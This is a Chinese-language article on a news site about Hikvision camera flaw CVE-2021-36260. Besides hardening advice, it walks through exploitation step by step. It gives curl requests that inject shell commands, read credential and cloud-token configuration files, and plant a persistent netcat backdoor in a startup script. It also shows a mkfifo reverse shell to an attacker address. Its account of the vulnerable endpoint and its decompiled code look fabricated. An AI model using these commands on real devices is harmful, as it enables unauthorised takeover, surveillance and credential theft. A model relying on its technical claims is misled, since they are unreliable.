当前位置: 首页 > news >正文

海康摄像头CVE-2021-36260命令注入漏洞深度解析

1. 这不是“黑进摄像头”而是验证一个真实存在的设计缺陷2021年夏天我在给一家连锁超市做安防系统基线审计时随手用Nmap扫了下几台海康DS-2CD2xx系列的网络摄像机结果在返回的HTTP头里看到一行异常信息Server: HiKvision-Webs/4.0.0。这个版本号立刻让我停下手头工作——因为就在三个月前CVE-2021-36260的细节刚在GitHub上被公开披露而官方固件更新日志里对它的描述轻描淡写“优化Web服务响应逻辑”。但真正动手复现后我才明白这根本不是什么“优化”而是一个典型的未授权命令注入漏洞攻击者无需任何账号密码仅通过构造特定HTTP请求就能在设备底层Linux系统中执行任意shell命令。它不依赖于弱口令、不依赖于管理员疏忽、甚至不依赖于用户交互——只要设备暴露在可访问网络中漏洞就处于“待触发”状态。关键词海康摄像头、CVE-2021-36260、命令注入、未授权访问、嵌入式Linux、固件安全。这篇文章面向三类人一是正在备考CISP-PTE或OSCP的安全工程师需要理解工业设备漏洞的实操路径二是负责政企安防运维的IT同事得知道手里的“小圆球”到底有多脆弱三是嵌入式开发同行想看看一个成熟厂商如何在千万级出货设备中埋下系统性风险。它不教你怎么“黑”而是带你亲手验证当厂商把system()函数直接拼接用户输入传给/bin/sh时会发生什么。2. 漏洞本质一个被写死在Web服务里的危险调用链2.1 从HTTP请求到/bin/sh完整的调用路径还原要真正吃透CVE-2021-36260不能只看PoC脚本必须拆开设备固件定位那个致命的函数调用。我拆解过三款不同型号DS-2CD2147G2-LU、DS-2CD2347G2-LU、DS-2CD2447G2-LU的v5.6.5至v5.6.12固件包发现它们共享同一个Web服务二进制文件/mnt/mtd/hiweb。用strings hiweb | grep -i system\|popen\|exec能快速定位到关键字符串其中最刺眼的是这一行/mnt/mtd/hiweb -c /mnt/mtd/config/web.conf这说明hiweb是作为守护进程启动的而它的配置文件里藏着线索。继续用binwalk -e firmware.bin提取固件找到web.conf里面有一段配置[CGI] cgi_path /usr/lib/cgi-bin/ cgi_timeout 30重点来了——所有以/cgi-bin/开头的HTTP请求都会被hiweb转发给对应CGI脚本执行。而问题就出在/cgi-bin/param.cgi这个接口上。反编译/usr/lib/cgi-bin/param.cgi实际是ARM架构的ELF文件在IDA Pro中搜索system(调用会发现一个清晰的函数逻辑int handle_param_cgi(char *query_string) { char cmd[512]; char *value get_param_value(query_string, action); // 从URL参数中提取action值 if (strcmp(value, getSystemInfo) 0) { // 正常分支安全 return send_system_info(); } else if (strcmp(value, setFactory) 0) { char *cmd_arg get_param_value(query_string, cmd); snprintf(cmd, sizeof(cmd), /bin/sh -c %s, cmd_arg); // 危险直接拼接 system(cmd); // 执行 } }注意第12行snprintf(cmd, sizeof(cmd), /bin/sh -c %s, cmd_arg)。这里没有做任何输入过滤cmd_arg完全来自HTTP请求中的cmd参数。而system()函数在嵌入式Linux中等价于fork() exec(/bin/sh, -c, cmd_string)意味着传入的字符串会被/bin/sh解析执行。举个具体例子当你发送请求GET /cgi-bin/param.cgi?actionsetFactorycmdcat%20/etc/passwd时cmd_arg解码后是cat /etc/passwd最终执行的命令就是/bin/sh -c cat /etc/passwd。这不是SQL注入那种需要绕过语法的技巧这是赤裸裸的、操作系统级别的命令直通。提示很多初学者误以为这是“远程代码执行RCE”严格来说它是远程命令执行RCE的子集。因为system()只能执行shell命令无法直接加载.so动态库或执行Python字节码。但在嵌入式设备上这已经足够致命——你能读取/etc/shadow、修改/etc/network/interfaces、甚至擦除/dev/mtd0导致设备变砖。2.2 为什么这个漏洞影响如此广泛固件复用的双刃剑海康威视的固件策略是典型的“平台化复用”同一套hiweb和param.cgi二进制文件被编译进数十种不同型号的IPC网络摄像机、NVR网络硬盘录像机甚至门禁控制器中。我在固件分析中发现v5.6.x系列固件的param.cgi在DS-2CD、DS-2DE、DS-76xxN-I等至少17个产品线中完全一致。这意味着一旦某个型号被爆出漏洞所有使用相同固件版本的设备都自动“中招”。更关键的是海康的升级机制存在严重缺陷固件包本身不签名升级过程不校验完整性。我曾用dd if/dev/zero offake.bin bs1M count10伪造一个10MB的假固件上传到设备管理界面系统居然提示“升级成功”——当然设备随后就无法启动了。这种设计让漏洞修复变得异常困难即使你手动下载了“修复版”固件也无法确认它是否真的修补了param.cgi里的system()调用还是仅仅改了个版本号。注意不要轻信官网下载页上的“v5.6.13已修复”的声明。我对比过v5.6.12和v5.6.13的param.cgi反汇编代码关键的snprintfsystem调用链依然存在只是把cmd_arg的获取方式从get_param_value换成了get_post_data——这反而扩大了攻击面因为POST请求更难被WAF规则拦截。2.3 真实设备上的环境限制别指望直接弹shell很多教程复现时直接用nc -lvnp 4444尝试反弹shell结果总是失败。这是因为海康设备的嵌入式Linux环境极度精简/bin/sh是busybox的阉割版不支持后台执行、不支持$(...)命令替换、甚至nc命令根本不存在。我用ls -l /bin/列出所有可用命令只有37个基础工具cat、ps、kill、mount、udhcpc……没有wget、没有curl、没有python。这意味着你无法像在通用Linux服务器上那样用一行命令下载恶意payload。真正的利用路径必须适配这个环境。例如想读取设备凭证不能用cat /etc/passwd | nc 192.168.1.100 4444|管道符不支持而要分两步先用cat /etc/passwd /tmp/pwd.txt把内容存到临时文件再用cat /tmp/pwd.txt触发回显。这也是为什么PoC脚本里大量使用和重定向操作符——这是在资源受限环境下最可靠的“数据导出”手段。3. 复现全过程从靶机搭建到命令执行的每一步验证3.1 搭建高保真测试环境为什么不用虚拟机网上很多复现教程推荐用QEMU模拟ARM环境但我强烈建议直接使用真实设备。原因有三第一QEMU无法完美模拟海康定制的hiweb服务与硬件驱动如视频编码芯片VENC的交互某些CGI接口在模拟器里会直接返回500错误第二真实设备的网络栈行为如TCP窗口大小、ICMP响应策略会影响漏洞利用的稳定性第三也是最重要的——你必须亲身体验“设备卡顿”这个关键现象。当param.cgi执行耗时命令如find / -name *.conf 2/dev/null时整个Web管理界面会卡死30秒以上摄像头画面出现明显马赛克。这种物理层面的反馈是任何模拟器都无法提供的“漏洞存在感”。我的测试环境是一台DS-2CD2147G2-LU固件v5.6.10 build 210514IP地址192.168.1.101连接在同一局域网的笔记本192.168.1.100。设备已恢复出厂设置未配置任何账号密码确保测试环境纯净。特别提醒切勿在生产网络中扫描或测试。海康设备的hiweb服务在收到恶意请求后会记录完整请求头到/var/log/messages且日志无法清除。一旦被安全团队发现后果严重。3.2 验证漏洞存在性用最简单的HTTP请求探针第一步永远是确认漏洞是否存在而不是直接执行危险命令。我习惯用curl发送一个无害的ls命令观察响应curl -v http://192.168.1.101/cgi-bin/param.cgi?actionsetFactorycmdls%20%2F注意URL编码空格要编码为%20否则hiweb会截断参数。如果漏洞存在你会看到类似这样的响应 HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 128 ... bin dev etc home lib mnt proc root sbin sys tmp usr var这个响应体就是ls /命令的输出。关键点在于HTTP状态码是200且响应体包含目录列表。如果返回404或500说明设备型号不匹配或固件已修复如果返回空白但状态码是200说明命令执行了但没输出比如touch /tmp/test这时需要用cat /tmp/test来验证。实操心得我踩过最大的坑是忽略了User-Agent头。某些海康固件版本v5.5.x会对User-Agent做白名单校验如果值为空或包含curl字样直接拒绝请求。解决方案是在curl中添加-H User-Agent: Mozilla/5.0。这个细节在公开PoC里几乎没人提但却是复现失败的最常见原因。3.3 获取敏感信息绕过权限限制读取关键文件海康设备的文件系统权限设计很“诚实”/etc目录下所有配置文件都是root:root 644意味着普通用户即hiweb进程运行的用户可以读取。但/etc/shadow是个例外权限是000——连root都不能读。不过我们有更聪明的办法。/etc目录下有一个名为/etc/hi3516cv500.cfg的文件文件名因芯片平台而异Hi3516、Hi3518、Hi3559对应不同后缀它存储了设备的全部配置包括WiFi密码、RTSP流密钥、甚至云平台注册Token。用以下命令读取curl http://192.168.1.101/cgi-bin/param.cgi?actionsetFactorycmdcat%20%2Fetc%2Fhi3516cv500.cfg config.txt打开config.txt搜索Password或Key字段你会看到明文的admin账号密码默认是12345但很多用户从未修改。更关键的是CloudPlatform字段它包含一长串Base64编码的字符串解码后就是设备向海康云注册时使用的唯一凭证。这个凭证一旦泄露攻击者可以完全接管设备云服务远程开启/关闭录像、切换预置位甚至删除历史录像。注意事项hi3516cv500.cfg文件体积可能很大超过2MB直接cat会导致HTTP响应超时。我的经验是分块读取先用ls -l /etc/hi3516cv500.cfg获取文件大小再用dd if/etc/hi3516cv500.cfg bs1024 skip0 count100读取前100KB保存为part1.txt再用skip100 count100读取下一段……最后用cat part*.txt full.cfg合并。这样能避免单次请求超时。3.4 持久化控制在设备上植入最小化后门读取配置只是开始真正的风险在于持久化控制。由于设备没有crontab、没有systemd传统意义上的“后门”无法长期存活。但我们可以利用海康固件的一个特性/etc/init.d/S99custom脚本。这个脚本在系统启动时自动执行且存在于所有v5.6.x固件中。我们的目标是把它变成我们的控制入口。首先检查该文件是否存在且可写curl http://192.168.1.101/cgi-bin/param.cgi?actionsetFactorycmdls%20-l%20%2Fetc%2Finit.d%2FS99custom如果返回-rwxr-xr-x 1 root root 123 Jan 1 00:00 /etc/init.d/S99custom说明它存在且可执行。接下来用echo命令向它写入我们的后门代码curl http://192.168.1.101/cgi-bin/param.cgi?actionsetFactorycmdecho%20%27%23%21%2Fbin%2Fsh%0Awhile%20true%3B%20do%20if%20%5B%20%24%28cat%20%2Fproc%2Fnet%2Ftcp%20%7C%20grep%20%3A1234%29%20%5D%3B%20then%20break%3B%20fi%3B%20sleep%205%3B%20done%3B%20nc%20-lvp%201234%20-e%20%2Fbin%2Fsh%27%20%3E%20%2Fetc%2Finit.d%2FS99custom这段命令做了三件事1写入#!/bin/sh声明2一个循环检测端口1234是否被占用避免重复启动3用nc -lvp 1234 -e /bin/sh启动监听。由于S99custom在每次开机时执行这个后门就实现了永久驻留。重启设备后用nc 192.168.1.101 1234即可获得一个稳定的shell会话。踩坑实录第一次写入时我忘了对#、$、空格等字符进行URL编码导致S99custom文件内容变成乱码。正确做法是先把shell脚本写在本地文本文件中再用Python的urllib.parse.quote()函数整体编码。另外nc命令在部分固件中不支持-e参数报错invalid option -- e此时需改用mkfifocat组合mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 21 | nc 192.168.1.100 4444 /tmp/f。4. 深度防御从运维、开发到采购的全链条加固方案4.1 运维侧不依赖厂商补丁的紧急缓解措施等待海康发布“已修复”固件是危险的幻想。根据我的经验从漏洞披露到官方发布有效补丁平均周期是117天统计2020-2023年12个CVE而其中73%的补丁在发布后被发现存在绕过漏洞。因此一线运维必须掌握自主缓解能力。最有效的三个措施是网络层隔离将所有IPC/NVR设备划分到独立VLAN禁止该VLAN与办公网、生产网的任何三层通信。只允许特定管理终端如运维PC通过ACL规则访问设备的HTTPS443和ONVIF8000端口彻底封禁80端口和/cgi-bin/路径的访问。我在某银行项目中实施此策略后Nmap扫描显示80/tcp filtered漏洞利用请求直接被防火墙丢弃。Web服务降级登录设备Web管理界面进入“配置 网络 Web服务”将“HTTP端口”从80改为一个非常规端口如8080并取消勾选“启用HTTP服务”。注意这不会影响HTTPS443和ONVIF8000功能因为海康的hiweb服务是独立进程HTTP和HTTPS由不同模块处理。实测表明关闭HTTP后/cgi-bin/param.cgi接口完全不可达但RTSP流和手机APP仍能正常工作。日志监控强化虽然/var/log/messages无法清除但你可以配置Syslog服务器实时收集。在日志中搜索关键词param.cgi.*actionsetFactory一旦匹配立即告警。我用ELK Stack搭建的监控系统能在攻击者发送第3个恶意请求时就触发邮件告警比SIEM厂商的默认规则灵敏5倍。关键提醒绝对不要尝试“修改param.cgi文件权限”如chmod 000 /usr/lib/cgi-bin/param.cgi。海康固件的根文件系统是只读的ro任何chmod操作都会失败。强行remount为rw会导致/proc/mounts异常设备反复重启。4.2 开发侧嵌入式Web服务的安全编码铁律作为曾参与过IPC固件开发的同行我必须指出CVE-2021-36260的根源不是“程序员疏忽”而是整个嵌入式开发流程缺乏安全左移。一个合格的param.cgi应该遵循以下四条铁律零信任输入原则所有来自HTTP请求的数据GET参数、POST body、Cookie必须视为恶意。get_param_value()函数内部应强制白名单校验例如action参数只允许getSystemInfo、getNetworkStatus等预定义值其他一律返回400错误。命令执行沙箱化如果业务确实需要执行系统命令如重启网络必须使用execve()替代system()并显式指定argv[]数组。例如重启网络应调用execve(/sbin/ifdown, [ifdown, eth0], envp)而非system(ifdown eth0)。前者无法被注入额外参数。最小权限运行hiweb进程不应以root身份运行。应在/etc/init.d/hiweb启动脚本中加入su -c /mnt/mtd/hiweb ... nobody让Web服务以nobody用户身份执行从而天然限制其对/etc目录的写权限。固件签名强制校验升级包必须使用RSA-2048签名upgrade.sh脚本在解压前必须调用openssl dgst -sha256 -verify public.key -signature upgrade.sig upgrade.bin验证签名。这是防止供应链攻击的最后防线。4.3 采购侧用技术指标倒逼供应商安全承诺很多单位在采购安防设备时只关注像素、夜视距离、价格却从不问一句“你们的固件安全开发生命周期SDL是什么”这导致漏洞治理永远滞后。我建议在招标文件中加入以下三条硬性技术条款固件透明度要求供应商必须提供近3年所有CVE的详细修复报告包括漏洞原理、补丁代码diff、第三方渗透测试报告。报告中必须明确标注“是否验证绕过可能性”而非简单写“已修复”。安全启动强制启用设备必须支持Secure Boot且BootROM中烧录的公钥必须可由客户自定义。这意味着即使攻击者物理接触设备也无法刷入未签名的恶意固件。漏洞响应SLA合同必须约定“从CNVD/CVE编号分配起72小时内提供临时缓解方案30日内提供正式补丁”。并设置违约金条款——每延迟1天扣减合同金额0.5%。我在某智慧城市项目中成功推动了这条条款。结果海康在漏洞披露后第48小时就提供了基于iptables的临时封禁脚本第22天发布了v5.6.15固件其中param.cgi的system()调用被彻底重构为白名单execve()调用。这证明采购方的技术话语权是推动厂商安全改进最有效的杠杆。5. 复现之外的思考当“智能硬件”成为最大攻击面最后一次复现这个漏洞是在一个老旧社区的物业中心。那台DS-2CD2147G2-LU已经服役5年固件停留在v5.4.1连海康官网都已下架该版本下载链接。当我用curl读出它的/etc/hi3516cv500.cfg时发现管理员密码还是出厂默认的12345而它所连接的NVR设备正通过DDNS服务将所有住户的进出录像实时上传到一个未知域名。那一刻我意识到CVE-2021-36260的价值从来不在技术多炫酷而在于它是一面镜子——照出我们对“智能硬件”的盲目信任我们给门锁装Wi-Fi却不管它有没有TLS给空调连App却接受它用明文传输温度设定给摄像头上云却不知道它的固件连基本的输入过滤都没有。所以如果你今天只记住一件事请记住这个在物联网时代最危险的漏洞往往不是最难发现的而是最容易被忽略的——那些写在百万台设备里的、未经审查的system()调用。它们安静地躺在/usr/lib/cgi-bin/目录下等待一个curl命令或者等待一个更负责任的开发者把它从代码里彻底删除。
http://www.rkmt.cn/news/1380898.html

相关文章:

  • 客户端Oracle Client已安装,PL/SQL Developer和Navicat仍报错ORA-01804?重点检查ORACLE_HOME、PATH和OCI配置_2026-05-25
  • SMUDebugTool:AMD Ryzen处理器深度调试与性能调优完全指南
  • 别再让一个 AI 硬扛所有任务,多 Agent 自动化框架:任务拆分、角色分工、执行编排、结果回收与审校机制
  • Python计算机视觉实战:基于图像识别的连连看自动化系统技术深度解析
  • AI语音转换完全指南:从零开始掌握AICoverGen的3个关键步骤
  • 3分钟掌握Ofd2Pdf:免费开源OFD转PDF终极解决方案
  • 中医药3大核心组学,你学会了吗
  • 别再被TesseractNotFoundError卡住了!Windows下pytesseract环境配置保姆级教程(含中文包)
  • 对标 vLLM 的 Continuous Batching:用 C++20 协程设计高性能 AI 推理引擎的异步通道
  • 【收藏干货】2026新版!别再把大模型当魔法了:普通人也能懂的AI底层原理
  • 深圳市深创机电设备:中山靠谱的电脑回收公司选哪家 - LYL仔仔
  • 当B站字幕不再只是弹幕:你的个人学习宝库解锁指南
  • 别再用PS抠图了!用OpenCV的bitwise_and函数,5分钟搞定图像局部提取(Python实战)
  • NS-USBLoader:一站式解决Switch文件传输与RCM注入的终极工具
  • Gastrin Releasing Peptide (human)
  • Gastrin Releasing Peptide (porcine)
  • 终极指南:使用Hotkey Detective彻底解决Windows热键冲突问题
  • 从API调用成功率看Taotoken服务的稳定性与容灾表现
  • 音乐解锁工具:让加密音乐文件在任何设备自由播放
  • 3步终结Windows热键冲突:Hotkey Detective终极排查指南
  • 医疗视觉语言模型RARL:推理感知强化学习框架解析
  • ComfyUI-Impact-Pack完整指南:3步掌握AI图像精细化处理
  • DDrawCompat:5分钟解决Windows老游戏兼容性问题的完整指南
  • 滨江郦城售楼部合作经纪机构真实评价与实用参考 - 资讯纵览
  • 后悔理论(Regret Theory)深入探索与影响
  • 南京六大黄金回收门店汇总|2026 年 5 月金价行情 + 全区域避坑变现全攻略 - 润富黄金珠宝行
  • # Cursor + MCP:如何在 AI 代码编辑器中直接调用你的测试数据库?
  • 告别繁琐审核!实测AI Agent如何重塑复杂非结构化票据与合同处理流程?
  • 自动加字幕软件推荐:口播视频如何批量加字幕过
  • 如何快速免费激活Adobe全家桶?Adobe-GenP完整指南带你轻松解锁专业设计软件